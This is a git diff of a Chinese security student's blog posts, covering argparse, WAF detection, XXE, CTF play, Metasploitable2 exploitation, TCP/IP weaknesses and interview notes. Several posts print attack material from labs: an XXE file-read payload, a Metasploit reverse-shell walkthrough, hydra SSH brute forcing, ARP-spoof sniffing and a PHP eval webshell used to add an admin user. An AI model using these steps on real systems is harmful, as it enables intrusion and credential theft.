
+

choices:参数值只能从几个选项里面选择

+

help:指定参数的说明信息

+

dest:设置参数在代码中的变量名

+

argparse默认的变量名是---后面的字符串,但是你也可以通过dest=xxx来设置参数的变量名,然后在代码中用args.xxx来获取参数的值。

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding: utf-8 -*-

import argparse

parser = argparse.ArgumentParser()

parser.add_argument("--square", help="display a square of a given number", type=int)
parser.add_argument("--cubic", help="display a cubic of a given number", type=int)

args = parser.parse_args()

if args.square:
print args.square**2

if args.cubic:
print args.cubic**3
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/09/%E5%8F%82%E6%95%B0/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/03/10/\345\255\227\350\212\202/index.html" "b/2021/03/10/\345\255\227\350\212\202/index.html" new file mode 100644 index 000000000..29db0a157 --- /dev/null +++ "b/2021/03/10/\345\255\227\350\212\202/index.html" @@ -0,0 +1,235 @@ +字节跳动安全风控训练营总结 | h4m5t's Blog + + + + + + + + + + + + +

字节跳动安全风控训练营总结

+

寒假期间参加了字节安全训练营,算是有很多收获吧。学到了一些安全知识,认识了一些小伙伴,都是名牌大学的本科、硕士生。给人的印象是字节的安全工程师比较务实,很有水平。上一节课比在学校上一学期更有用。更加坚定了我去企业的想法。也感觉学术界的安全研究和企业脱节比较严重,在这个工业界引领发展,反哺学术界的时代,或许在企业能学到更多东西吧。

+
+

先放上证书纪念一下

image-20210310185934547 + +

课程内容

    +
  • web安全概述
  • +
  • 渗透测试进阶
  • +
  • WAF建设
  • +
  • 安全系统架构设计
  • +
+

小组任务

官方提供一台云主机,以Dockers镜像的方式预置一个Web漏洞靶场。

+
    +
  • 对靶场进行渗透测试,发现存在的安全问题。
  • +
  • 研发/搭建Web应用防火墙(WAF),对已存在的安全问题进行有效防护。
  • +
  • 搭建WAF管理后台,实现对WAF规则配置和日志查询。
  • +
+

WAF研发

    +
  • 解码能力(常用编码、混合编码、多重编码)
  • +
  • 字符串匹配(单模式、多模式)
  • +
  • 正则表达式引擎(hyperscan)
  • +
  • 规则提取和优化(根据漏洞、payload、平衡漏报与误报)
  • +
  • 开源规则集(OWASP® ModSecurity Core Rule Set (CRS))
  • +
  • 接口频率限制(限频算法、资源限频、用户限制频)
  • +
  • 业务基线自学习
  • +
  • BOT检测(人机识别、行为检测)
  • +
+

寻找漏洞

    +
  • 用户登陆接口有SQL注入
  • +
  • 本地文件包含(路径爆破)
  • +
  • 水平垂直越权(修改cookie中student_id,可以获取其他人信息)
  • +
  • 服务端请求伪造(SSRF)(头像链接)
  • +
  • 敏感信息泄露(爆破目录,有身份证号)
  • +
  • 暴力破解
  • +
  • 其他
      +
    • Cookie存活时间太长
    • +
    • httpOnly属性没有开启
    • +
    • Secure没有开启
    • +
    • 不安全的存储方案(md5存密码,容易被破解)
    • +
    • HTTP头部属性缺失(CSP)
    • +
    +
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/10/%E5%AD%97%E8%8A%82/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/03/11/WAF/index.html b/2021/03/11/WAF/index.html new file mode 100644 index 000000000..ceca9b9fb --- /dev/null +++ b/2021/03/11/WAF/index.html @@ -0,0 +1,220 @@ +关于WAF | h4m5t's Blog + + + + + + + + + + + + +

关于WAF

定义

Web应用防火墙(Web Applocation Firewall)

+

通过一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品

+

分类

    +
  • 软件型
  • +
  • 硬件型
  • +
  • 云WAF(反向代理 ,类似于带防护功能的CDN)
  • +
  • 网站系统内置的WAF
  • +
+

WAF 的判断

1.sqlmap

+
1
sqlmap.py -u "https://baidu.com --identify-waf --batch"
+ +

2.手工判断

+
1
?test=1 union select 1,2,3%23
+ +

选取不存在的参数,如果被拦截:

+
    +
  • 页面无法访问
  • +
  • 响应码不同
  • +
  • 返回与正常请求网页不同时的结果
  • +
+

WAF by pass

参考我的另一篇博客

+

WAF by pass 技巧

+

另外加几个技巧

+
    +
  • 多参数请求拆分
  • +
  • HTTP参数污染(同一参数出现多次,不同的中间件解析为不同的结果)
  • +
  • 使用生僻函数
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/11/WAF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/03/11/XXE/index.html b/2021/03/11/XXE/index.html new file mode 100644 index 000000000..8fb4854bc --- /dev/null +++ b/2021/03/11/XXE/index.html @@ -0,0 +1,211 @@ +XXE漏洞 | h4m5t's Blog + + + + + + + + + + + + +

XXE漏洞

定义

外部实体注入(XML External Entity XML)。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

+

XXE的利用

    +
  • 读取本地敏感文件
  • +
  • 内网主机探测
  • +
  • 主机端口探测
  • +
  • 盲注
  • +
  • 文件上传
  • +
  • 钓鱼
  • +
+

文章参考

先知社区有一篇关于XXE的文章:

+

XXE漏洞及利用

+img + +
1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
+ +

防护

    +
  • 禁止引用外部实体
  • +
  • 过滤用户提交的XML数据
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/11/XXE/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/03/12/\350\234\234\347\275\220/index.html" "b/2021/03/12/\350\234\234\347\275\220/index.html" new file mode 100644 index 000000000..9bd393584 --- /dev/null +++ "b/2021/03/12/\350\234\234\347\275\220/index.html" @@ -0,0 +1,201 @@ +云蜜罐 | h4m5t's Blog + + + + + + + + + + + + +

云蜜罐

+

在公众号上看到一篇云蜜罐的文章,记录一下

+
+

参考链接:知道创宇

+

优秀蜜罐有哪些

+

“云蜜罐”是什么?

无需软硬件,无需云主机,不需占用任何客户资源,云端实现快捷部署,并在域名接入功能上取得了突破

+

与传统蜜罐有何不同

与传统蜜罐相比,“云蜜罐”除去部署方式上的不同,还有一大优势在于云端部署不需占用任何客户端资源,不会对现有的业务造成任何影响。同时,云端“一键部署”快捷安全,尤其适用于网站防御方面。在即将到来的网络攻防实战演练中,防守方一旦发现预先进行了网络防护的网站有被攻击迹象,比起被动挨打,还可以选择通过快捷部署“云蜜罐”作为一种紧急应对方式,感知攻击威胁、记录攻击痕迹、争取溯源反制

+

用法

为域名暴破攻击提供“定制陷阱”的服务

+

“云蜜罐”智能子域名推荐系统会根据录入的根域名,自动生成高敏感子域名,在攻击者使用子域名暴破攻击的必经之路上设置陷阱,提高攻击捕获可能性,在一定程度上减轻真实资产的流量压力以及防止黑客进一步入侵。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/12/%E8%9C%9C%E7%BD%90/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/03/13/VN/index.html b/2021/03/13/VN/index.html new file mode 100644 index 000000000..01f16b296 --- /dev/null +++ b/2021/03/13/VN/index.html @@ -0,0 +1,202 @@ +V&N-CTF | h4m5t's Blog + + + + + + + + + + + + +

V&N-CTF

web游戏题

提示:通关就有flag

+

尝试修改start_level,但是无法直接开始第10关

+

尝试修改死亡后reset的next_level,然后去送死,按下Esc,就是第二关。

+

却发现boss很难打,于是又修改人物参数:血量、飞镖数量等。

+

image-20210314235011044

+
1
2
3
4
5
6
7
8
9
10
11
12
function Reset()
{
// load local storage
playerData = new PlayerData();
if (localStorage.kbap_coins)
playerData.coins = parseInt(localStorage.kbap_coins, 10);
if (localStorage.kbap_warp)
warpLevel = parseInt(localStorage.kbap_warp, 10);
if (localStorage.kbap_bestTime)
speedRunBestTime = parseInt(localStorage.kbap_bestTime, 10);
nextLevel = 10;
}
+ +

image-20210314235140421

+

打败BOSS,获得flag。

+

这游戏挺好玩!

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/13/VN/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/03/15/NLP/index.html b/2021/03/15/NLP/index.html new file mode 100644 index 000000000..0c07d1abf --- /dev/null +++ b/2021/03/15/NLP/index.html @@ -0,0 +1,236 @@ +舆情分析-人物画像 | h4m5t's Blog + + + + + + + + + + + + +

舆情分析-人物画像

+

最近在做舆情分析的课题,稍微记录一下.

+
+

所需技术

    +
  • 爬虫
  • +
  • 话题分析
  • +
  • 人物画像
  • +
  • 命名实体识别
  • +
  • 意见抽取
  • +
  • 情感分类
  • +
  • 文本分类
  • +
+

任务

课题:境外涉华人物画像

+
    +
  • 数量:不少于100

    +
  • +
  • 国家/地区:美日澳印、欧洲、东南亚、俄罗斯、港台

    +
  • +
  • 领域:智库、军情、政治、法律、高科技(人工智能、芯片、通信、电子、材料、太空、航天等)、演艺、人文、知名大学毕业生

    +
  • +
  • 实时跟踪社交媒体动态(Twitter、Facebook、Line、Linkedin)

    +
  • +
  • 社交情况及社交指数

    +
  • +
  • 人格分析:大五人格

    +
  • +
  • 涉华言论(文本、音视频)、热点话题及其情感极性

    +
  • +
  • 对华好感指数

    +
  • +
+

预期成果

实时跟踪twitter, facebook等社交媒体动态,生成境外涉华人物画像。人物涉及多个国家地区,并分析相应人物的社交指数,大五人格,以及对华好感指数等,并对其涉华言论的情感极性进行深入分析。

+

通过可视化,建立图形化界面等技术,从公共社交媒体上利用爬虫爬取公开的涉华人物的相关信息动态,完成预期的目标任务,做成一个能够从公开媒体上爬取并分析信息情报的平台雏形,具有相当的实用价值。

+

初步模型

未命名文件 + +

实现过程

数据爬取及处理

社交指数分析

image-20210318100300846

+

image-20210318100319880

+

涉华言论情感分析

人格分析

大五人格

+
1
2
3
4
5
6
7
8
9
10
开放性(openness)
具有想象、审美、情感丰富、求异、创造、智能等特质。
责任心(conscientiousness):
显示胜任、公正、条理、尽职、成就、自律、谨慎、克制等特点。
外倾性(extraversion):
表现出热情、社交、果断、活跃、冒险、乐观等特质。
宜人性(agreeableness):
具有信任、利他、直率、依从、谦虚、移情等特质。
神经质性(neuroticism):
难以平衡焦虑、敌对、压抑、自我意识、冲动、脆弱等情绪的特质,即不具有保持情绪稳定的能力。
+ +

对华好感指数

在不同领域探索对华好感指数

+

image-20210318100623093

+

热点话题抽取

image-20210318100532182

+

PS:此项目小组合作完成 , 源代码暂不公开

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/15/NLP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2021/03/16/kali/index.html b/2021/03/16/kali/index.html new file mode 100644 index 000000000..cbfe20cab --- /dev/null +++ b/2021/03/16/kali/index.html @@ -0,0 +1,237 @@ +渗透Metasploitable2 | h4m5t's Blog + + + + + + + + + + + + + + +

渗透Metasploitable2

+

Metasploitable2是一款很好的渗透测试靶机

+
+

实验环境

攻击机:kali IP:192.168.211.140

+

目标主机:Metasploitable2 IP:192.168.211.132

+

信息收集

1.使用命令msfconsole进入msf控制台

+image-20210317192744736 + +

2.使用Nmap扫描,查看目标系统开放端口和服务.

+image-20210317193125963 + +

3.根据扫描结果选择合适的exploit和payload

+

此次使用Samba3.0存在的漏洞进行攻击

+

**提示:**在rank栏选择great/excellent的模块,会有很好效果,成功率更高.

+image-20210317193350796 + +

4.使用攻击模块

+

选择exploit/multi/samba/usermap_script

+

提示:使用info+模块 查看说明

+image-20210317194342573 + +

show payloads,查看可用攻击载荷.

+

5.设置攻击载荷

+

set PAYLOAD cmd/unix/reverse

+

设置目标机IP及端口

+

设置攻击机IP

+

注意:此处的端口号是漏洞服务对应的端口号,在Nmap那一步可以看到.

+

show options可以查看payload的配置,Required为不可缺参数

+image-20210317195047700 + +

6.使用expolit命令进行攻击

+image-20210317195453218 + +

已成功获取目标主机shell !

+

可以使用命令 uname -a 进行验证.

+

后续

    +
  • 进一步获取目标系统信息
  • +
  • 关闭目标系统杀毒软件
  • +
  • 利用已攻陷的主机做为跳板/肉鸡
  • +
  • 后渗透(权限提升、横向提权、纵向提权)
  • +
  • 留下后门
  • +
  • 痕迹清除
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/16/kali/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git "a/2021/03/17/\347\256\227\346\263\225/index.html" "b/2021/03/17/\347\256\227\346\263\225/index.html" new file mode 100644 index 000000000..8bca8a4ae --- /dev/null +++ "b/2021/03/17/\347\256\227\346\263\225/index.html" @@ -0,0 +1,223 @@ +leetcode15 - 3sum | h4m5t's Blog + + + + + + + + + + + + + + +

leetcode15 - 3sum

+

3sum跟之前的2sum有点像,但难度更大一些

+
+

leetcode.15

+

题目描述 :

1
2
3
Given an array nums of n integers, are there elements a, b, c in nums such that a + b + c = 0? Find all unique triplets in the array which gives the sum of zero.

Notice that the solution set must not contain duplicate triplets.
+ +

范围0 <= nums.length <= 3000

+

方法1:

枚举所有方法,时间复杂度n^3,会超时

+

方法2:

排序

+

哈希法(2等1)

+

循环i,j 此时 t=0-nums[i]-nums[j]

+

根据哈希,判断t是否在数组中出现过

+

注意:需要去重

+

方法3:

排序

+

双指针(1等2)

+

t=0-nums[i]-nums[j]

+

思路:

+

固定i指针,j,k分别在两端,交替向中间靠拢(比较t)

+

注意:去重

+

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class Solution:
def threeSum(self, nums: List[int]) -> List[List[int]]:
#双指针移动
#i为定指针
#j,k为移动指针
#首先要排序
nums.sort()
lens=len(nums)

res=[]
for i in range(lens):

#要求j,k位置的和
#对第一个位置要特殊判断
if i and nums[i]==nums[i-1]:
continue
j=i+1
k=lens-1
tmp=0-nums[i]
while(j<k):
arr=[]
if nums[j]+nums[k]>tmp:
k=k-1
elif nums[j]+nums[k]<tmp:
j=j+1
else:
#添加数组元素的另一种方法:
#res.append([nums[i],nums[L],nums[R]])
arr.append(nums[i])
arr.append(nums[j])
arr.append(nums[k])

res.append(arr)
#此处直接去重
while((j<k) and nums[j]==nums[j+1]):
j=j+1
while((j<k) and nums[k]==nums[k-1]):
k=k-1
k=k-1
j=j+1
return res
+ +

小结

此题题目简单,但是需要考虑的东西也比较细.

+
    +
  • 去重
  • +
  • hash及set的使用
  • +
  • 双指针
  • +
  • 剪枝
  • +
  • 对首位的特殊判断
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/17/%E7%AE%97%E6%B3%95/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/03/18/TCPIP/index.html b/2021/03/18/TCPIP/index.html new file mode 100644 index 000000000..d8867b48b --- /dev/null +++ b/2021/03/18/TCPIP/index.html @@ -0,0 +1,227 @@ +TCP/IP协议脆弱性分析 | h4m5t's Blog + + + + + + + + + + + + + +

TCP/IP协议脆弱性分析

TCP/IP协议簇

TCP/IP提供了点对点链接的机制,将资料应该如何封装、寻址、传输、路由以及在目的地如何接收,都加以标准化。它将软件通信过程抽象化为四个抽象层,采取协议堆栈的方式,分别实现出不同通信协议。协议族下的各种协议,依其功能不同,分别归属到这四个层次结构之中,常视为是简化的七层OSI模型。

+

TCP(传输控制协议)和IP(网际协议)

+

TCP/IP 意味着 TCP 和 IP 在一起协同工作。

+

TCP 负责应用软件(比如您的浏览器)和网络软件之间的通信。

+

IP 负责计算机之间的通信。

+

TCP 负责将数据分割并装入 IP 包,然后在它们到达的时候重新组合它们。

+

IP 负责将包发送至接受者。

+

安全隐患

1.链路层攻击

+

在TCP/IP网络中,链路层这一层次的复杂程度是最高的。其中最常见的攻击方式通常是网络嗅探组成的TCP/IP协议的以太网。当前,我国应用较为广泛的局域网是以太网,且其共享信道利用率非常高。以太网卡有两种主要的工作方式,一种是一般工作方式,另一种是较特殊的混杂方式。这一情况下,很可能由于被攻击的原因而造成信息丢失情况,且攻击者可以通过数据分析来获取账户、密码等多方面的关键数据信息。

+

2.ARP欺骗

+

ARP(地址解析协议)是根据IP地址获取物理地址的一个TCP/IP协议。通常情况下,在IP数据包发送过程中会存在一个子网或者多个子网主机利用网络级别第一层,而ARP则充当源主机第一个查询工具,在未找到IP地址相对应的物理地址时,将主机和IP地址相关的物理地址信息发送给主机。与此同时,源主机将包括自身IP地址和ARP检测的应答发送给目的主机。如果ARP识别链接错误,这样的话ARP直接应用可疑信息,那么可疑信息就会很容易进入目标主机当中。ARP协议没有状态,不管有没有收到请求,主机会将任何受到的ARP相应自动缓存。如果信息中带有病毒,采用ARP欺骗就会导致网络信息安全泄露。因此,在ARP识别环节,应加大保护,建立更多的识别关卡,不能只简单通过IP名进行识别,还需充分参考IP相关性质等。

+

3.ICMP欺骗

+

ICMP协议也是因特网控制报文协议,主要用在主机与路由器之间进行控制信息传递。通过这一协议可对网络是否通畅、主机是否可达、路由是否可用等信息进行控制。一旦出现差错,数据包会利用主机进行即时发送,并自动反回描述错误的信息。该协议在网络安全当中是十分重要的协议。但由于自身特点的原因,其极易受到入侵,通常而言,目标主机在长期发送大量ICMP数据包的情况下,会造成目标主机占用大量CPU资源,最终造成系统瘫痪。

+

4.IP欺骗

+

在传输层还存在网络安全问题。如在网络安全领域中,IP欺骗就是隐藏自己的有效手段,主要是通过将自身IP地址进行伪造,并向目标主机发送恶意的请求,攻击主机,而主机却因为IP地址被隐藏而无法准确确认攻击源。或者通过获取目标主机信任而趁机窃取相关的机密信息。在DOS攻击中往往会使用IP欺骗,这是因为数据包地址来源较广泛,无法进行有效过滤,从而使IP基本防御的有效性大幅度下降。此外,在ICMP传输通道,由于ICMP是IP层的组成部分之一,在IP软件中任何端口向ICMP发送一个PING文件,借此用作申请,申请文件传输是否被允许,而ICMP会做出应答,这一命令可检测消息的合法性。所有申请传输的数据基本上传输层都会同意,造成这一情况的原因主要是PING软件编程无法智能识别出恶意信息,一般网络安全防护系统与防火墙会自动默认PING存在,从而忽视其可能带来的安全风险。

+

5.DNS欺骗

+

对于因特网而言,IP地址与域名均是一一对应的,这两者之间的转换工作,被称为域名解析。而DNS就是域名解析的服务器。DNS欺骗指的是攻击方冒充域名服务器的行为,使用DNS欺骗能将错误DNS信息提供给目标主机。所以说,通过DNS欺骗可误导用户进入非法服务器,让用户相信诈骗IP。另外,PTP网络上接口接受到不属于主机的数据,这也是应用层存在的安全问题,一些木马病毒可趁机入侵,造成数据泄露,从而引发网络安全问题。

+

脆弱性分析

1.不能提供可靠的身份验证

+

2.不能有效防止信息泄露

+

3.没有提供可靠的信息完整性验证

+

4.无法控制资源占有和分配

+

攻击方法

    +
  • IP欺骗
  • +
  • TCP会话劫持
  • +
  • SYN Flooding
  • +
  • 死亡之ping
  • +
  • RST和FIN攻击
  • +
+

结语

真正防御针对网络协议脆弱性的攻击,需要从管理、技术、政策等多方面来配合。希望随着网络安全技术的提高和IPsec的逐步完善,解决现存的协议脆弱性问题。

+

参考

    +
  • 百度/维基百科
  • +
  • 菜鸟TCP/IP教程
  • +
  • 典型的TCP/IP协议脆弱性及常见攻击方法分析(空军工程大学学报)
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/18/TCPIP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/03/19/alibaba/index.html b/2021/03/19/alibaba/index.html new file mode 100644 index 000000000..6d5a0004e --- /dev/null +++ b/2021/03/19/alibaba/index.html @@ -0,0 +1,205 @@ +阿里安全工程师面试(实习) | h4m5t's Blog + + + + + + + + + + + + + +

阿里安全工程师面试(实习)

3.10

+

时常:30min

+

1.自我介绍

+

2.常用的密码算法,用法是什么

+

3.SSL协议

+

4.你是怎么学习安全知识的

+

5.讲一下你对未来的规划

+

6.企业常用的安全防御技术有哪些

+

7.项目上的问题,你做了什么贡献。问细节

+

面试官应该很年轻,跟我讲了一些他的经历,没有问刁钻的问题,很友好。

+

3.16 收到感谢信

+

深知自己不足,道路漫长,继续加油!

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/19/alibaba/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/03/24/\344\276\246\345\257\237/index.html" "b/2021/03/24/\344\276\246\345\257\237/index.html" new file mode 100644 index 000000000..06f072f1d --- /dev/null +++ "b/2021/03/24/\344\276\246\345\257\237/index.html" @@ -0,0 +1,277 @@ +网络侦察实验 | h4m5t's Blog + + + + + + + + + + + + + +

网络侦察实验

网络侦察实验

实验背景

随着时代的发展和网络的普及,在世界各国、各层次的计算机网络中,储存着大量公开资料和机密资料,由于网络漏洞的存在,为“黑客”入侵计算机网络系统获取机密资料提供了很多便利,这些资料引起了各国军事情报部门的重视,都大力开展利用计算机网络系统来获取情报资料的研究和尝试,这便是网络侦察。

+

网络侦查是指黑客为了更加有效地实施攻击而在攻击前或攻击过程中对目标主机的所有探测活动。网络侦查有时也被称为“踩点”。通常“踩点”包括以下内容:目标主机的域名、IP地址、操作系统类型、开放了哪些端口,以及这些端口后面运行着什么样的应用程序,这些应用程序有没有漏洞等。那么如何收集信息呢?可以利用与技术无关的“社会工程学”、搜索引擎以及扫描工具。

+

本实验旨在通过在企业复杂网络场景下的网络侦查应用实战,让学生深刻理解网络侦查的概念、特性和原理,掌握网络侦查相关技术,具备对网络进行侦查、渗透、敏感信息获取以及防网络侦查的技术能力,这对于学生的信息安全技术能力提升、国家网络空间安全战略实施,都有非常重要的意义。

+

实验任务

任务一 使用nmap、ettercap进行网络侦查和密码嗅探;
任务二 使用crunch、hydra暴力破解ssh服务登陆密码;
任务三 使用ssh登录目标机,获得敏感信息;
任务四 获取目标网站的webshell权限,控制目标机,获得敏感信息。

+

实验目的

    +
  • 了解网络侦查、信息收集、漏洞挖掘和利用的基本概念以及常用的信息收集和安全漏洞扫描工具,认知常见的网络侦查手段和企业网络安全漏洞。
  • +
  • 掌握nmap工具的功能和操作方法,并能够分析检侧结果,能够运用这些工具解决目标网络信息探测、漏洞挖掘等常见的安全问题。
  • +
  • 了解ettercap嗅探工具的基本功能,掌握常见的嗅探相关服务和应用的用户名和密码的方法。
  • +
  • 了解crunch的基本功能,掌握利用crunch生成密码字典文件的方法。
  • +
  • 了解hydra密码爆破工具的基本功能和使用方法,掌握常见的爆破服务和应用的用户名和密码的方法。
  • +
  • 熟悉网站wenshell的概念,理解上传webshell、获取webshell权限的意义和方法,掌握获取webshell权限基础上控制目标机的方法。
  • +
  • 通过nmap、ettercap、crunch和hydra等工具的学习和使用,能够融会贯通,掌握相关服务如ftp、web等漏洞挖掘、渗透、攻击和利用的原理和方法,掌握自主学习和实践主流企业网络扫描工具的功能、操作技巧、检测结果分析、网络侦查、漏洞挖掘的常用方法,具备企业复杂网络信息安全管理的职业能力和终身学习能力。
  • +
+

实验工具

    +
  • Nmap(集成于kali linux)
  • +
  • ettercap(集成于kali linux)
  • +
  • crunch(集成于kali linux)
  • +
  • hydra(集成于kali linux)
  • +
  • Firefox(54.2.0)
  • +
  • Rdesktop
  • +
+

实验环境

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统IP地址服务器角色登录账户密码
kali Linux192.168.1.2操作机用户名:root;密码:Simplexue123
CentOS7192.168.1.3目标机用户名:root;密码:Simplexue123
Windows2012192.168.1.4目标机用户名:administrator;密码:Simplexue123
+

实验步骤

任务一

1.扫描存活的主机

+

image-20210325150711857

+

2.使用嗅探工具对目标机的vsftpd服务进行嗅探。

+

通过设置监听网卡、主机、开启arp欺骗、启动嗅探等步骤来嗅探网络内的数据包,获取ftp用户名和密码。

+

image-20210325152226044

+

image-20210325153309224

+

任务二

利用kali集成的crunch工具,生成密码字典文件。
使用hydra工具暴力破解ssh服务的登陆密码,以便完全控制目标主机系统。

+

使用命令crunch 9 9 password.txt -p hacker+123456生成密码

+

生成9位的数字字母组合,输出到password.txt文件

+

image-20210325154745860

+

使用生成的密码字典进行爆破

+
1
hydra -L hacker.txt -P password.txt -t 1 -vV -e ns 192.168.1.3 ssh
+ +

破解得到密码:hacker123

+

任务三

使用ssh登录目标机并获取key值,获得敏感信息

+

直接利用 爆破得到的密码进行登陆

+

ssh hacker@192.168.1.3

+

image-20210325155633360

+

image-20210325155802866

+

ls -a命令列出文件:1.key

+

cat 1.key

+

ettercap

+

任务四

获取目标网站的webshell权限,控制目标机,获得敏感信息

+

制作一句话木马和上传表单

+
1
<?php @eval($_POST['attack']) ?>
+ +

在浏览器另外一个页面快速打开http://192.168.1.4/index.php?module=eventregistration&action=eventsCalendar,获得时间戳,分析可知上传的文件名以时间戳+下划线+原文件名称来命名。

+

编写脚本并运行,获得上传的文件的URL路径。

+

image-20210325183510613

+

写入命令

+

http://192.168.1.4/ tmp/1516041535_exp.php?cmd=system('' )

+

添加新用户net user hacker Beijing123 /add

+

把hacker用户添加到管理员组,并远程连接目标机,远程连接的时候注意远程连接的端口。

+

以hacker用户(用户名:hacker、密码:Beijing123)身份登录目标机系统。

+

设置目标机C:\2.key文件的可读权限,并查看该文件的具体内容。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/24/%E4%BE%A6%E5%AF%9F/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2021/03/25/meituan/index.html b/2021/03/25/meituan/index.html new file mode 100644 index 000000000..ef3f3bea2 --- /dev/null +++ b/2021/03/25/meituan/index.html @@ -0,0 +1,213 @@ +美团安全工程师面试(实习) | h4m5t's Blog + + + + + + + + + + + + + +

美团安全工程师面试(实习)

2021-3-26

+

面试官是一位会弹吉他的安全工程师,比较和蔼,没有问刁钻的问题。

+

面试时间总共15分钟,我也不知道为啥这么短,可能那边有业务要做吧。

+

问题如下:

+

1.自我介绍

+

2.平时怎么学安全的

+

3.每天有多长时间学安全

+

4.SQL注入有哪些

+

5.给你一个URL,怎么判断注入

+

6.SQL注入防范

+

7.平时有看安全方面的文章吗,讲一篇

+

讲了一下昨晚看的DNSlog注入

+

8.讲一下CTF

+

9.讲一下你做过的渗透

+

最后 你有什么要问的吗?

+

1.怎么学习安全

+

2.甲方和乙方的安全有什么不同

+

面试建议

+

其实提前看了几篇美团技术部的文章和面试官写的web蜜罐,但我没讲。

+

可以提前查一下面试官的研究方向,如果正好是你擅长的,那就好了。如果是你不擅长的,就尽量把话题引导其他方向,让面试官跟着你的项目走。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/03/25/meituan/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/03/26/\345\210\235\345\255\246\350\200\205/index.html" "b/2021/03/26/\345\210\235\345\255\246\350\200\205/index.html" new file mode 100644 index 000000000..e6304e153 --- /dev/null +++ "b/2021/03/26/\345\210\235\345\255\246\350\200\205/index.html" @@ -0,0 +1,314 @@ +渗透测试初学者笔记 | h4m5t's Blog + + + + + + + + + + + + + +

渗透测试初学者笔记

+

学校图书馆借了一本书《渗透测试完全初学者指南》,讲的很基础,对初学者很友好,略作笔记。

+
+

第五章-信息收集

开源情报

    +
  • Netcraft
  • +
  • whois
  • +
  • DNS侦察
      +
    • nslookup
    • +
